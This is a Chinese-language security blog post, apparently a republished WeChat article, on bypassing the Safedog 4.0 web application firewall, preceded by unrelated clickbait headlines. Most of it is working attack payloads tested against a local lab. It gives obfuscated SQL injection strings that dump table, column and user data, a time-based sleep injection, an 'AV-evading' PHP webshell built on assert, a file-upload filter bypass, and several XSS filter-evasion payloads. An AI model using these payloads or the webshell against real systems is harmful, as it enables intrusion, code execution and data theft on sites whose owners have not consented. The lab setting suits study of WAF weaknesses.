终究没有人在意一家民营企业的生死

去泰国看了一场“成人秀”,画面尴尬到让人窒息.....

【少儿禁】马建《亮出你的舌苔或空空荡荡》

网友建议:远离举报者李X夫!

网曝黑人留学生侮辱中国女生是“母狗”,网友愤慨:不欢迎洋垃圾

生成图片,分享到微信朋友圈

自由微信安卓APP发布,立即下载! | 提交文章网址
查看原文

干货|SQL,XSS以及文件上传绕过安全狗4.0

11ccaab HACK学习君 2022-11-02

SQL注入

0x01 绕过and

经测试 and 后接任意正负数,字符均被拦截

加上/!50001/不拦截

?id=1and/*!500011*/=/*!500011*/# 不拦截
if((1=2),1,2) 不拦截

and/*%!"/*/1=1-- + 不拦截

payload:

http://192.168.200.147/Less-2/?id=1 and /*!500011*/=/*!500011*/ #http://192.168.200.147/Less-2/?id=1 and /*!500011*/=/*!500012*/ #http://192.168.200.147/Less-2/?id=if((1=1),1,2) #http://192.168.200.147/Less-2/?id=1 and/*%!"/*/1=1 -- +

0x02 绕过order by

order 不拦截order b 不拦截order by拦截order /*!50001by*/ fuzz50001到99999均被拦截

可以知道order 和 by都不拦截,但是在同时出现的时候就会出现拦截,所以我们可以在中间加上一些干扰

可以看到成功绕过

payload:

http://192.168.200.147/Less-2/?id=1/*/"//*/order/*//*/by/*//*/1 --+

0x03 绕过union select

union不拦截select不拦截a select不拦截union a 不拦截unionselect拦截union/*%!"/*/selecT/*%!"/*/1,2,3-- + 拦截

这里中间加上干扰符还是被拦截了,就是用/!50001/来装饰select

0x04 获取当前数据库和用户

database 不拦截database() 拦截database(/*%!"/*/) 不拦截

同理在括号内加上干扰绕过

获取user()同理

payload:

http://192.168.200.147/Less-2/?id=-1 union/*%!"/*//*!50441selecT*//*%!"/*/1,user(/*%!"/*/),3 -- +http://192.168.200.147/Less-2/?id=-1 union/*%!"/*//*!50441selecT*//*%!"/*/1,database(/*%!"/*/),3 -- +

0x05 获取数据库中的表

正常语句:

unionselect1,group_concat(table_name),3from information_schema.tables where table_schema=database() -- +

我们逐条语句判断发现直到最后输入database()都没被拦截

说明还是拦截了database(),同理加上/%!"// 即可绕过

payload:

http://192.168.200.147/Less-2/?id=-1 union/*%!"/*//*!50441selecT*//*%!"/*/1,group_concat(table_name),3 from information_schema.tables where table_schema=database(/*%!"/*/) --+

0x06 获取表中字段名

正常语句:

unionselect1,group_concat(column_name),3from information_schema.columns where table_name='users'-- +

这里与获取表一致

payload:

http://192.168.200.147/Less-2/?id=-1 union/*%!"/*//*!50441selecT*//*%!"/*/1,group_concat(column_name),3 from information_schema.columns where table_name = 'users'--+http://192.168.200.147/Less-2/?id=-1 union/*%!"/*//*!50441selecT*//*%!"/*/1,group_concat(column_name),3 from information_schema.columns where table_name = 0x7573657273 --+

0x07 获取数据

正常语句:

unionselect group_concat(username),3from users -- +

这里也一样

payload:

http://192.168.200.147/Less-2/?id=-1 union/*%!"/*//*!50441selecT*//*%!"/*/1,group_concat(username),3 from users--+

0x08 一些另类方法绕过

空白字符:

%09%0A%0B%0C%0D%A0 %20/**/
{`<string>`/*comment*/(<sql syntax>)}

例如:

id={`foo`/*fuck*/(select+1)}id={`foo`/*fuck*/(select-1)}id={`foo`/*fuck*/(select%2b1)}

payload:

id={`foo`/*fuck*/(select+1)}?id=XOR(if(now()=sysdate(),sleep(1*2),0))

文件上传绕过-免杀马

0x01 免杀马

防止误判,使用免杀马

<?phpfunction a(){return'assert';}$a = a();$aa = array($_POST['1']);call_user_func_array($a,$a=$aa);?>

文件上传绕过

在以前有很多,比如在filename双写三写=,或者在xx.php按回车,但是最新的也不行了

可以看到对每个filename都进行了检测,但是这里我们把第一个的值去掉就可以了

XSS绕过

0x01 音乐,音频等标签

<audiosrc=1onerror=prompt('xss')>

0x02 data属性的base64编码

alert('xss')

的base64编码:

PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=

<objectdata="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="></object>

bypass waf payload:

<svgonx=() onload=(confirm)(1)><svgonx=() onload=(alert)(1)><a/href="javascript:alert(1)"><audiosrc/onerror=alert(1)><marqueewidth=1loop=1onfinish=alert(1)>XSS</marquee>

推荐阅读 

https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

点赞      在看      转发

原创投稿作者:11ccaab

未经授权,禁止转载

如需转载

请添加微信X175144340,给您开通白名单

mysql渗透测试知识点梳理
实战 | WAF-Bypass之SQL注入绕过思路总结
一次失败的SQL注入经历
浅谈Sql注入总结笔记整理(超详细)
实战 | 记一次较为详细的代码审计过程

文章有问题?点此查看未经处理的缓存